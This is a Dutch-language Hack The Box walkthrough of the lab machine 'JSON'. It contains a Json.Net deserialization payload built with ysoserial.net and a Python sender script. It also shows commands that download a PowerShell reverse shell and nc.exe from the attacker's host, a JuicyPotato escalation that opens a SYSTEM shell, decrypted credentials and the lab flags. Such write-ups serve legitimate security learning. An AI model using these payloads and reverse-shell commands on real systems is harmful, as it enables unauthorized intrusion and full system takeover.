HTB-JSON-NL

Zoals altijd eerst een nmap scan

root@kali:~/htb/json# nmap -sV 10.10.10.158
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-13 03:59 EST
Nmap scan report for 10.10.10.158
Host is up (0.077s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          FileZilla ftpd
80/tcp    open  http         Microsoft IIS httpd 8.5
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.63 seconds

De eerste analyse van de ftp-, smb- en powershell-poorten bleek niet erg nuttig, dus ging ik verder met de webpagina’s.

The web page showed a login screen, but a simple guess with Admin:Admin as username/password combination let me in.

Na analyse van alle verzoeken in Burpsuite, viel het verzoek op / api / Account op omdat de naam van het vak JSON is en dit het enige verzoek met een JSON-antwoord is. Ik heb het verzoek in Burp goed bekeken en merkte dat het een OAuth2-cookie had en een Bearer-token, dus ik bleef me daarop concentreren met behulp van Curl.

c:\PENTEST>curl -XGET http://10.10.10.158/api/Account
{"Message":"Authorization has been denied for this request."}
c:\PENTEST>curl -XGET http://10.10.10.158/api/Account --header "Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=" --header "Bearer: eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0="
{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}

Als ik het verzoek met Curl herhaal, krijg ik een JSON-string terug met een ID, de gebruikersnaam, een wachtwoord en nog wat andere dingen. Dus laten we die “Bearer string” eens nader bekijken.

root@kali:~/htb/json# echo -n eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0= | base64 -d
{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}

Blijkbaar bevat de waarde precies hetzelfde dat wordt geretourneerd. Maar wat gebeurt er als ik de ID-waarde (geheel getal) verander in een stringwaarde.

root@kali:~/htb/json# echo -n {"Id":a,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"} | base64 |tr -d '\n'; echo
SWQ6YSBVc2VyTmFtZTphZG1pbiBQYXNzd29yZDoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMyBOYW1lOlVzZXIgQWRtaW4gSFRCIFJvbDpBZG1pbmlzdHJhdG9y

root@kali:~/htb/json# curl -XGET http://10.10.10.158/api/Account --header "Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=" --header "Bearer: SWQ6YSBVc2VyTmFtZTphZG1pbiBQYXNzd29yZDoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMyBOYW1lOlVzZXIgQWRtaW4gSFRCIFJvbDpBZG1pbmlzdHJhdG9y"
{"Message":"An error has occurred.","ExceptionMessage":"Cannot deserialize Json.Net Object","ExceptionType":"System.Exception","StackTrace":null}r

Dus het geeft een fout omdat het een Json.Net-object niet kan deserialiseren. Na wat zoeken kwam ik dit   document tegen  hier is specifiek vermeld dat dit geen JSON-kwetsbaarheid is, maar een Deserialization-kwetsbaarheid,  Na wat meer te hebben bekeken, vermelden ze specifiek dat Json.Net ook kwetsbaar is. Blijkbaar zou het mogelijk moeten zijn om code te injecteren als u controle hebt over de waarde Type van het object Serialized. Ik begon een python-webserver om een aangepast Powershell-script van nishang te hosten, zoals Ippsec in verschillende video’s aantoont

root@kali:~/JSON# cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 reverse.ps1
root@kalivm:~/JSON# echo "Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.70 -Port 443" >> puckieshell443.ps1
root@kali:~/JSON# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Nadat dat was gewijzigd, begon ik de vereiste Json.net-payloads te maken, zoals specifiek vermeld in de Breeze demo van de Blackhat Talk.

zie hieronder de rce “proof of concept” met burp en ysoserial.exe en tcpdump

c:\PENTEST\ysoserial>ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "ping 10.10.16.70" -t
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/c ping 10.10.16.70']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
c:\PENTEST\ysoserial>

Terwijl ik aan het prutsen was met dit spul, werd ik het zat om de payloads te moeten base64-coderen en het vervolgens opnieuw te verzenden, dus besloot ik een eenvoudig python-script te maken om dat voor mij te doen.

root@kali:~/htb/json# cat htb-json.py 
#!/usr/bin/env python3
from base64 import b64decode, b64encode
import requests
import argparse

parser = argparse.ArgumentParser(description='pass the attack script.')
parser.add_argument("-s", '--script', required=True, 
help='script to process for the attack')
args = parser.parse_args()

admin_token="eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0="
#Base64 encode the provided payload file
def create_payload(package):
payload = open(package, 'rb').read()
return b64encode(payload).decode('UTF-8')

#Send the payload file
print("Sending payload: ", args.script)
requests.get('http://10.10.10.158/api/Account', 
headers={
'Cookie': 'OAuth2='+admin_token, 
'Bearer': create_payload(args.script)
})

Nogal wat gedoe later, kreeg ik eindelijk de eerste lading die PowerShell gebruikt om een verzoek in te roepen om de gewijzigde PowerShell Reverse shell over te brengen.

root@kali:~/htb/json# cat getPS1.plain 
{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/c powershell Invoke-WebRequest -Uri "http://10.10.16.70:8000/puckieshell443.ps1" -OutFile "c:\\windows\\temp\\sedje.ps1"']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}

root@kali:~/htb/json# python3 htb-json.py -s getPS1.plain
Sending payload:  getPS1.plain

En in de shell van de python-webserver zie ik het inkomende GET-verzoek uit de JSON-box voor het reverse.ps1-bestand.

root@kali:~/htb# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.158 - - [13/Jan/2020 03:04:51] "GET /puckieshell443.ps1 HTTP/1.1" 200 -

De volgende stap is het voltooien van het objectbestand dat het PowerShell-script aanroept, en na wat gedoe met dat bestand kwam ik bij de volgende coderegels:

root@kali:~/htb/json# cat execPS1.plain 
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/c powershell c:\\windows\\temp\\sedje.ps1']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

En in de Terminal terwijl de netcat-luisteraar een tijdje wacht, zie ik …

root@kali:~/htb# rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.158] 49275
Windows PowerShell running as user JSON$ on JSON
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv>

Ja, ik heb een shell Het volgende dat je moet doen, is kijken wie ik ben en de vlag van de gebruiker vastleggen!

PS C:\windows\system32\inetsrv> whoami
json\userpool
PS C:\windows\system32\inetsrv> Get-Content c:\Users\userpool\Desktop\user.txt
34459a01f50050dc410db09bfb9f52bb34459a01

Additional notitie

Ik kreeg de feedback dat het commando dat ik in de payload gebruikte nog eenvoudiger had kunnen zijn. In plaats van de ‘cmd’ en ‘/ c’ goedkeuringen zou het volgende net zo eenvoudig zijn geweest.

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['powershell','Invoke-WebRequest -Uri "http://10.10.16.70:8000/reverse.ps1" -OutFile "c:\\windows\\temp\\sedje.ps1"']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Privilege Escalatie

Na wat rondneuzen en algemene PrivEsc-acties uitvoeren, vind ik een interessant bestand in een Sync2FTP-directory

PS C:\Program Files\Sync2Ftp> type SyncLocation.exe.config
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <appSettings>
    <add key="destinationFolder" value="ftp://localhost/"/>
    <add key="sourcefolder" value="C:\inetpub\wwwroot\jsonapp\Files"/>
    <add key="user" value="4as8gqENn26uTs9srvQLyg=="/>
    <add key="minute" value="30"/>
    <add key="password" value="oQ5iORgUrswNRsJKH9VaCw=="></add>
    <add key="SecurityKey" value="_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"/>
  </appSettings>
  <startup>
    <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
  </startup>


</configuration>

Het bestand lijkt een gebruikersnaam, wachtwoord te bevatten die eruit zien als een base64-string en een beveiligingssleutel. Het decoderen van de base64-tekenreeksen bracht me wat onleesbare dingen, dus ik besloot het bestand SyncLocation.exe uit te voeren en het liep zonder problemen. Aangezien het waarschijnlijk is dat het .exe-bestand het .config-bestand gebruikt, kopieer ik beide bestanden naar een beschrijfbare map zodat ik ze uit de doos kan overbrengen voor verdere analyse.

C:\Program Files\Sync2Ftp> mkdir c:\windows\temp\sedje
                                          
                                          
    Directory: C:\windows\temp            
                                          
                                          
Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----         10/5/2019   9:08 PM            sedje
                                                  
                                                  
PS C:\Program Files\Sync2Ftp> cd c:\windows\temp\sedje
PS C:\windows\temp\sedje> copy "C:\Program Files\Sync2Ftp\SyncLocation.exe" .
PS C:\windows\temp\sedje> copy "C:\Program Files\Sync2Ftp\SyncLocation.exe.config" .

Nu die bestanden klaar zijn, moet ik een lokale FTP-server starten om de bestanden te vangen. Python kan dit eenvoudig doen met behulp van de pyftpdlib-bibliotheek.

root@kalivm:~/JSON# python -m pyftpdlib -p 21 -w
/usr/lib/python2.7/dist-packages/pyftpdlib/authorizers.py:244: RuntimeWarning: write permissions assigned to anonymous user.
  RuntimeWarning)
[I 2019-10-05 21:15:22] >>> starting FTP server on 0.0.0.0:21, pid=10105 < <<
[I 2019-10-05 21:15:22] concurrency model: async
[I 2019-10-05 21:15:22] masquerade (NAT) address: None
[I 2019-10-05 21:15:22] passive ports: None

In het Windows-vak maak ik een ftp-script en breng ik de bestanden over naar mijn lokale computer.

PS C:\windows\temp\sedje> dir
Directory: C:\windows\temp\sedje
Mode LastWriteTime Length Name 
---- ------------- ------ ---- 
-ar-- 5/23/2019 2:48 PM 9728 SyncLocation.exe 
-a--- 5/23/2019 3:08 PM 591 SyncLocation.exe.config

PS C:\windows\temp\sedje> echo "open 10.10.16.70" > ftp
PS C:\windows\temp\sedje> echo "anonymous" >> ftp
PS C:\windows\temp\sedje> echo "" >> ftp
PS C:\windows\temp\sedje> echo "put SyncLocation.exe" >> ftp
PS C:\windows\temp\sedje> echo "put SyncLocation.exe.config" >> ftp
PS C:\windows\temp\sedje> echo "quit" >> ftp
PS C:\windows\temp\sedje> ftp -s:ftp
ftp> open 10.10.16.70
Connected to 10.10.16.70.
220 pyftpdlib 1.5.4 ready.
User (10.10.16.70:(none)): 
331 Username ok, send password.

230 Login successful.
ftp> put SyncLocation.exe
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
ftp: 9728 bytes sent in 0.16Seconds 62.36Kbytes/sec.
ftp> put SyncLocation.exe.config
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
ftp: 591 bytes sent in 0.01Seconds 39.40Kbytes/sec.
ftp> quit
221 Goodbye.
PS C:\windows\temp\sedje>

Dus het FTP-script zegt dat de bestanden worden overgedragen. Tijd om de FTP-server op hetzelfde te controleren.

root@kali:~/htb/json# python -m pyftpdlib -p 21 -w
/usr/lib/python2.7/dist-packages/pyftpdlib/authorizers.py:244: RuntimeWarning: write permissions assigned to anonymous user.
  RuntimeWarning)
[I 2020-01-13 05:33:01] >>> starting FTP server on 0.0.0.0:21, pid=3848 <<<
[I 2020-01-13 05:33:01] concurrency model: async
[I 2020-01-13 05:33:01] masquerade (NAT) address: None
[I 2020-01-13 05:33:01] passive ports: None
[I 2020-01-13 05:35:07] 10.10.10.158:49859-[] FTP session opened (connect)
[I 2020-01-13 05:35:07] 10.10.10.158:49859-[anonymous] USER 'anonymous' logged in.
[I 2020-01-13 05:35:07] 10.10.10.158:49859-[anonymous] STOR /root/htb/json/SyncLocation.exe completed=1 bytes=9728 seconds=0.28
[I 2020-01-13 05:35:08] 10.10.10.158:49859-[anonymous] STOR /root/htb/json/SyncLocation.exe.config completed=1 bytes=591 seconds=0.14
[I 2020-01-13 05:35:08] 10.10.10.158:49859-[anonymous] FTP session closed (disconnect).
^C[I 2020-01-13 05:37:28] received interrupt signal
[I 2020-01-13 05:37:28] >>> shutting down FTP server (1 active socket fds) <<<
root@kali:~/htb/json# ls
execPS1.plain  htb-json     nmap-json.gnmap  nmap-json.xml     SyncLocation.exe.config
getPS1.plain   htb-json.py  nmap-json.nmap   SyncLocation.exe
Nadat de bestanden zijn overgedragen, breng ik ze over naar een lokale Windows VM, omdat dat eenvoudiger is dan het analyseren op Linux. Ik open .exe in dnspy.

In het binaire bestand is er een duidelijk leesbare functie Decrypt () die een sleutel en een waarde nodig heeft om de met base64 gecodeerde tekenreeksen te decoderen. Omdat ik niet zo goed ben met .net-dingen, zoek ik online naar een eenvoudige oplossing.

Ik vind die oplossing in dotnetfiddle, een online tool waarmee dotnet-code kan worden uitgevoerd. Na het aanpassen van de code door de sleutel toe te voegen en de functie twee keer aan te roepen met de base64-string erin, krijg ik de resultaten.
Username: superadmin
Password: funnyhtb

Nu zijn er nog verschillende plaatsen waar ik deze inloggegevens kan proberen. Na wat gedoe met PowerShell-privilege-escalatie kreeg ik een hint dat ik een ander pad moest proberen en de FTP-server probeerde.

c:\PENTEST>ftp 10.10.10.158
Connected to 10.10.10.158.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
202 UTF8 mode is always enabled. No need to send this command.
User (10.10.10.158:(none)): superadmin
331 Password required for superadmin
Password:
230 Logged onroot@kalivm:~/~# ftp 10.10.10.158
Connected to 10.10.10.158.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (10.10.10.158:root): superadmin
331 Password required for superadmin
Password:
230 Logged on
Remote system type is UNIX.

Bingo! Aangemeld op de FTP-server, het enige dat nog te doen was, is het bureaublad op de vlag controleren en het krijgen!

ftp> dir Desktop
200 Port command successful
150 Opening data channel for directory listing of "/Desktop"
-r--r--r-- 1 ftp ftp            282 May 22  2019 desktop.ini
-r--r--r-- 1 ftp ftp             32 May 22  2019 root.txt
226 Successfully transferred "/Desktop"
ftp> get Desktop/root.txt ./root.txt
local: ./root.txt remote: Desktop/root.txt
200 Port command successful
150 Opening data channel for file download from server of "/Desktop/root.txt"
226 Successfully transferred "/Desktop/root.txt"
32 bytes received in 0.00 secs (223.2143 kB/s)
ftp> 221 Goodbye
root@kali:~/JSON# cat root.txt
3cc85d1bed2ee84af4074101b991d441

Ook nog even de juicypotato manier op te escalaten naar root !

Bij het uitvoeren van systeminfo Ik zag dat het een Windows Server 2012 Datacenter was, deze is zeer waarschijnlijk kwetsbaar voor JuicyPotato.
Dus uploaded ik de exploit, en zocht op  http://ohpe.it/juicy-potato/CLSID/Windows_Server_2012_Datacenter/ voor een  CLSID met NT
AUTHORITY\SYSTEM permissie, en laat deze nc.exe uitvoeren:

PS C:\windows\temp\sedje> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State 
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled 
SeImpersonatePrivilege Impersonate a client after authentication Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\windows\temp\sedje> certutil -urlcache -split -f http://10.10.16.70/nc.exe C:\users\userpool\Downloads\nc.exe
**** Online ****
0000 ...
6e00
CertUtil: -URLCache command completed successfully.
PS C:\windows\temp\sedje> certutil -urlcache -split -f http://10.10.16.70/juicypotato.exe C:\users\userpool\Downloads\juicypotato.exe
**** Online ****
000000 ...
054e00
CertUtil: -URLCache command completed successfully.
PS C:\windows\temp\sedje> cd C:\users\userpool\Downloads\
PS C:\users\userpool\Downloads> .\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c C:\users\userpool\Downloads\nc.exe 10.10.16.70 53 -e cmd.exe" -t * -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"
Testing {e60687f7-01a1-40aa-86ac-db1cbf673334} 1337
....
[+] authresult 0
{e60687f7-01a1-40aa-86ac-db1cbf673334};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK
PS C:\users\userpool\Downloads>
root@kali:~/htb# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.158 - - [13/Jan/2020 05:58:01] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.158 - - [13/Jan/2020 05:58:01] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.158 - - [13/Jan/2020 05:58:16] "GET /juicypotato.exe HTTP/1.1" 200 -
10.10.10.158 - - [13/Jan/2020 05:58:17] "GET /juicypotato.exe HTTP/1.1" 200 -
root@kali:~/htb/json# rlwrap nc -nlvp 53
listening on [any] 53 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.158] 49972
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

gebruikte bestanden : https://github.com/puckiestyle/python/blob/master/htb-json.py

https://github.com/puckiestyle/pentest/blob/master/ysoserial.zip

https://github.com/puckiestyle/pentest/blob/master/juicypotato.exe

gebruikte referenties : https://www.vanderziel.org/2019/10/06/hackthebox-json/

https://github.com/pwntester/ysoserial.net

root = 3cc85d1bed2ee84af4074101b991d441

Auteur : Jacco Straathof

 

Geplaatst op

Geef een reactie

Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *